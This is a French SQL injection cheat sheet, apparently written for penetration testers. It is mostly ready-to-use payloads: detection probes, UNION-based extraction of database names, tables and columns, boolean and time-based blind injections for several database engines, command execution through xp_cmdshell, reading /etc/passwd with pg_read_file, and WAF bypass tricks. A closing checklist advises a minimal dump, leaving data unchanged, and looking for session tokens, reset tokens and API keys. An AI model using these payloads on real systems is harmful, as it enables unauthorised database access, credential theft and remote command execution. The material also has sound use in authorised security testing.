#Détection
?id=1'
?id=1''
?id=1'--
?id=1' AND '1'='1
?id=1' AND '1'='2
Une différence de contenu entre 1' AND '1'='1 et 1' AND '1'='2 confirme une injection booléenne. Une erreur SQL explicite confirme une injection en erreur.
#UNION-based
-- 1. Compter les colonnes
' ORDER BY 1-- -
' ORDER BY 5-- -
' ORDER BY 10-- -
-- 2. Trouver les colonnes affichées
' UNION SELECT 1,2,3-- -
' UNION SELECT 1,2,3,4,5-- -
-- 3. Extraire la version et le user
' UNION SELECT 1,@@version,3-- -
' UNION SELECT 1,user(),3-- -
-- Lister les tables (MySQL / MariaDB)
' UNION SELECT 1,group_concat(table_name),3
FROM information_schema.tables WHERE table_schema=database()-- -
-- Lister les colonnes
' UNION SELECT 1,group_concat(column_name),3
FROM information_schema.columns WHERE table_name='users'-- -
#Blind : booléen
-- Longueur et premier caractère du nom de la base
' AND length(database())=8-- -
' AND substring(database(),1,1)='a'-- -
' AND ascii(substring(database(),1,1))>97-- -
Automatiser caractère par caractère avec un script ou sqlmap. En HTTP, comparer la taille ou un marqueur de la réponse.
#Blind : temporel
-- MySQL
' AND SLEEP(5)-- -
' AND IF(substring(database(),1,1)='a',SLEEP(5),0)-- -
-- PostgreSQL
'; SELECT pg_sleep(5)-- -
-- MSSQL
'; WAITFOR DELAY '0:0:5'-- -
-- Oracle
' AND 1=dbms_pipe.receive_message(('a'),5)-- -
#Spécificités SGBD
| SGBD | Version | Concat / limite |
|---|---|---|
| MySQL | @@version |
group_concat() / LIMIT |
| PostgreSQL | version() |
string_agg() / LIMIT |
| MSSQL | @@version |
+ / TOP |
| Oracle | v$version |
|| / ROWNUM |
| SQLite | sqlite_version() |
group_concat() |
-- MSSQL : empiler des requêtes
'; EXEC xp_cmdshell 'whoami'-- -
-- PostgreSQL : lire un fichier (superuser)
' UNION SELECT pg_read_file('/etc/passwd')-- -
#Commentaires et WAF
-- Commentaires selon le SGBD
-- - MySQL (espace après --)
# MySQL
/* */ Tous
-- Oracle / PostgreSQL
-- Contournement simple
'/**/OR/**/1=1-- -
'%27%20OR%201=1--%20
' UnIoN SeLeCt 1,2,3-- -
#Après l'injection
- Dump minimal et daté pour le rapport (
id,username, hash tronqué). - Cherche les tables de sessions, tokens de reset, clés API.
- Vérifie les droits du compte DB :
FILE,xp_cmdshell,COPY ... FROM PROGRAM. - Ne modifie pas les données. Une preuve d'accès contrôlée suffit.